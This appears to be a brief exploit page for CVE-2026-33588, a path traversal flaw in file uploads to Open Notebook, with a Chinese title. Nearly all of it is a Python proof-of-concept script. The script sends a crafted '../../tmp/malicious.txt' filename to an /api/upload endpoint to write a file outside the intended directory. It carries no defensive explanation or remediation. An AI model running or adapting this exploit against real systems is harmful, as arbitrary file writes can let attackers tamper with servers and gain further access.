CVE-2026-33588 Open Notebook 路径遍历漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-33588: Path Traversal via File Upload """ # The endpoint might vary, this is a generic example based on the description upload_endpoint = f"{target_url}/api/upload" # Path traversal payload to write to a sensitive location in the container # e.g., writing to /tmp/malicious.txt malicious_filename = "../../tmp/malicious.txt" files = { 'file': (malicious_filename, 'This is a test content for path traversal.', 'text/plain') } try: response = requests.post(upload_endpoint, files=files, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully. File may have been written as: {malicious_filename}") else: print(f"[-] Failed. Status Code: {response.status_code}") except Exception as e: print(f"Error occurred: {e}") # Example usage # exploit_poc("http://target-host:port")